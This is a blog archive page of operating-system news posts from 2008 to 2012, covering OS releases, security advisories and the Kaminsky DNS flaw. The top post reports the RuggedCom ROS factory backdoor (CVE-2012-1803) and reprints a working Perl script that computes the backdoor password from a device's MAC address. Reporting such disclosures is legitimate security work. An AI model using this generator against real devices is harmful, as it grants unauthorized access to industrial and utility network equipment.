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Showing posts with label operating system. Show all posts
Showing posts with label operating system. Show all posts

Tuesday, April 24, 2012

RuggedCom Unresponsive, Rugged Operating System (ROS®) Backdoor Disclosed

A factory backdoor account in RuggedCom's Rugged Operating System (ROS®) has been disclosed. <RuggedCom> is a manufacturer of rugged networking equipment popular in industrial, utility, and defense industries. These sensitive consumers of frequently security sensitive networking devices have recently been informed by RuggedCom, who has acknowledged the backdoor. Due somewhat to RuggedCom's unresponsiveness after acknowledgement, this information was publicly disclosed. According to the disclosure, an undocumented account, "factory", which cannot be disabled, is included in all released versions of ROS® with a password generated from the device's MAC address.

<Secunia - Full Disclosure CVE-2012-1803 (April 23, 2012)>

#!/usr/bin/perl
if (! defined $ARGV[0]) {
print "+========================================== \n";
print "+ RuggedCom ROS Backdoor Password Generator \n";
print "+ JC CREW April 23 2012 \n";
print "+ Usage:\n$0 macaddress \n";
print "+========================================== \n";
exit; }
$a = $ARGV[0];
$a =~  s/[^A-F0-9]+//simg;
@b = reverse split /(\S{2})/,$a;
$c = join "", @b;
$c .= "0000";
$d = hex($c) % 999999929;
print "$d\n";

Thursday, October 13, 2011

Dennis Ritchie, creator of the C programming language dead at 70

Rumors that Dennis Ritchie had passed have been confirmed. Dennis was known for developing the C programming language and being a key developer of the UNIX operating system. He was 70 years old. <Dennis Ritchie (wiki)>

Sunday, September 25, 2011

Tuesday, July 26, 2011

Linux Version Number Bumped to 3.0

Linux 3.0 was committed July 22, 2011. The version numbering was bumped up from 2.6.xx to 3.0 in honor of 20 years of Linux, without the large changes a major version number change would normally imply.

InfoWorld (July 22, 2011)

<InfoWorld - Linux 3.0 a steady step forward>

Sunday, January 25, 2009

Microsoft Extends Windows 7 Beta Download Availability

  Microsoft Extends Windows 7 Beta download availability until February 10th. If you start your download on the 10th, then you have until the 12th to finish downloading.

<Windows 7 Team Blog - General availability for the Windows 7 Beta to end>

<Download Windows 7 Beta>

Sunday, January 11, 2009

Unlimited Microsoft Windows 7 Beta Downloads

“Windows 7” by <xkcd>


  You've probably heard that <Microsoft> was allowing 2.5 million downloads of the Windows 7 Beta, which already started on January 9th and only lasts until January 24th, 2009. You may also have heard of the problems Microsoft's site had providing downloads to the massive surge of people interested in the beta.

  Because of the previous download issues, <Microsoft is removing the 2.5 million download limit.> So, if you think you may want to give Windows 7 a try sometime before the beta test period runs out on August 1, 2009, then you better go <download Windows 7 Beta> before January 24th.

  There is a 32 and 64 bit beta download, with 5 and 4 different languages to choose from respectively. Apparently Hindi speakers aren't expected to be running 64 bit machines. In general, the Windows 7 Beta requires a 1 GHz processor, 1GB of ram, 16 GB of available disk space, to be burnt to a DVD for installation, and 128 MB DirectX 9 graphics to enable the Aero theme.

  You should remember that the Windows 7 Beta will stop working on August 1, 2009. It's also been mentioned that the Beta version being released is an upgrade version, that can only be installed on top of Vista. (EDIT: reported incorrect) Although, there's not a single mention of that on the download page and its tabs, unless it's hidden very well.

<Download Windows 7 Beta>



Thursday, December 11, 2008

[Link] Slackware 12.2 Released

Slackware 12.2 Released (Dec 10, 2008)

A quick look at what Slackware 12.2 ships with:


  • Linux kernel  2.6.27.7

  • Xorg X server  1.4.2

  • Xfce  4.4.3

  • KDE  3.5.10 (4.1 is in /testing directory)

  • HAL


<Slackware 12.2 Release Announcement>

Saturday, November 29, 2008

Ubuntu Linux Kernel Vulnerabilities Advisory

Ubuntu


Ubuntu has released a security advisory (below), detailing 9 potential kernel vulnerabilities. The advisory appears to encompass all Ubuntu's and suggests a kernel image upgrade. This will require a reboot and require a reinstall of all third party kernel modules that are installed.

<Ubuntu: USN-679-1: Linux kernel vulnerabilities> (Nov 27, 2008)



Tuesday, November 25, 2008

Fedora 10 is Here!



Fedora 10 is here!


<Get Fedora KDE> <Get Fedora GNOME>

<Fedora Torrents>

Major new features at a glance:
  • Wireless connection sharing enables ad hoc network sharing

  • Better setup and use of printers

  • Virtualization storage simplified

  • SecTool intrusion detection system

  • RPM 4.6 is a major update

  • Rewrite of the PulseAudio sound server

  • Improved webcam support

  • Better support for infrared remote controls

<Full release notes>

Tuesday, November 11, 2008

[Link] Windows 7 is , You Guessed it, Vista Rebranded

Kernel process profiling shows it looks like a Vista; performance testing shows is walks like a Vista; claims of being a high performing Linux-laptop-killer falling flat on it's face, make it sound like a just another disappointing Vista.

InfoWorld 5 pages (Nov 10, 2008)

<InfoWorld - Test Center benchmarks: Windows 7 unmasked>

Wednesday, November 5, 2008

[Link] Windows 3.x Still Dying


Microsoft ended support for Windows 3.x at the end of 2001, but 3.x continued on as an embedded operating system. Windows 3.x continued to power cash registers, ticket systems, and even in-flight entertainment systems.

"On 1 November Microsoft stopped issuing
licences [for Windows3.x]"
(Ward)


BBC News (Mark Ward) (Nov 5, 2008)

<BBC News - The end of an era - Windows 3.x>

Will iPwn for Food

Will iPwn for Food


  Forbes reports on <(blog)Piergiorgio Zambrini>, 38 year old Italian systems engineer who created the first popular iPhone carrier break application named <Ziphone>. Zambrini is reported to be "revealing a bug that can crash the iPhone and, he says, other devices including iPods and Apple computers."(Buley)

  Zambrini is holding the details for Apple. Forbes reported this bug to be in the audio portion of Apple's video format, that able to crash Apple iPod and latest generation iPhone. Forbes says this bug is in a shared library used in most Apple operating systems(i.e., Mac) and has confirmed this claim on iPhones.

  Zambrini goes on in the interview with Forbes about wanting a job in the Apple security department and wanting to talk to Steve Jobs. Yeah, it got weird, but apparently Zambrini made a nice chunk off Ziphone already.

Forbes.com (Taylor Buley), Crashing The iPhone
[Feed]<http://www.forbes.com/technology/2008/11/03/apple-iphone-bug-tech-security-cz_tb_1103iphone.html?feed=rss_popstories> (Nov 3, 2008)

Sunday, November 2, 2008

[Release] OpenBSD 4.4 Released


OpenBSD

Free, Functional & Secure

"Only two remote holes in the default install, in more than 10 years!"



OpenBSD 4.4 released Nov 1, 2008:

<(Wiki)OpenBSD>

<OpenBSD 4.4 Release Details>

<OpenBSD Download Page>

Tuesday, October 14, 2008

Friday, August 22, 2008

Fedora Servers Compromised

Fedora
redhat


  <Fedora announced> (Aug. 22, 2008) that some servers were illegally accessed 'last week'. One of the compromised servers was for signing Fedora packages. Despite being optimistic about the security of the passphrase used to secure the signing keys, Fedora has decided to convert to new signing keys.

  A RHL <security advisory> eludes to successfully compromised OpenSSH packages. "In connection with the incident, the intruder was able to sign a small number of OpenSSH packages relating only to Red Hat Enterprise Linux 4(i386 and x86_64 architectures only) and Red Hat Enterprise Linux 5 (x86_64 architecture only)"

  RHL released an update to OpenSSH to address this as well as <script> to detect these black listed packages.

Friday, July 18, 2008

New True Crypt Release Features Hidden, Encrypted, OS Partitions



   We know True Crypt as the free-open source application for Windows/Mac/Linux that creates on-the-fly-encrypted drive volumes. You create a file or volume with the combination of several heavy, industry standard, encryption algorithms. With the password, that file or volume can be mounted as a drive letter (in Windows).

   True Crypt has been around a while; it's based on E4M (Encryption for the Masses) and released it's first version at the beginning of 2004. It's popularity exploded when it was the featured topic of a <GRC's Security Now> audio podcast. This was near the popular beginning of the series, which then featured informative, weekly, encryption and network protocol discussions.

   Since it's start, True Crypt has acquired additional innovative features. It can encrypt entire partitions, like an entire hard drive, as well as devices such as USB flash drives. It later featured the ability to create <hidden volumes> through <steganography>(wiki) techniques (hiding the encrypted volume inside a larger one filled with cryptographically random free space).

   The new True Crypt version 6 can not only encrypt your hard drive/partition containing your operating system, prompting you for your password at boot up, but can also make that a hidden volume. This creates an innovative situation of <plausible deniability>.

<www.TrueCrypt.org>
<True Crypt Downloads>

Wednesday, July 9, 2008

DNS Design Flaw Allows Spoofing

DNS

(July 8, 2008) United States Computer Emergency Readiness Team (US-CERT) Vulnerability notice <#800113> regarding a DNS Cache Poisoning Issue.

"It is a fundamental issue affecting the design. Because the system is behaving exactly like it is supposed to behave, the same bug will show up in vendor after vendor after vendor.", says Dan Kaminsky, director of penetration testing, at the <IOActive> security firm. Kaminsky found this flaw more than six months ago while doing non-security related research of the DNS system.

A number of software vendors released patches Tuesday, July 8th. A patch <was released>(July 8, 2008) by Microsoft, being it's scheduled update day, and a patch <was also released> (July 8, 2008) for the Berkeley Internet Name Domain (BIND) server. The <Security Focus article> (July 8, 2008) claims both Cisco and Juniper also acknowledged flawed systems (but haven't released patches).

Wednesday, July 2, 2008

Which Linux Distros Are Dying

  An interesting post at CodingExperiments.com has been circulating for a couple days. It has graphed Google search trends for Linux distribution names. Showing a downward trend in Google searches for Debain, Fedora, Red Hat, SUSE, Slackware, and 'Linux' it's self. It shows a interesting gain for 'OpenSUSE', despite the drop in SUSE, and the expected gain dwarfing all others for Ubuntu.

View the whole article and graphs:
<CodingExperiments.com - Which Linux Distributions Are Dying?> June 30th, 2008

<Found noteworthy by Linux Today>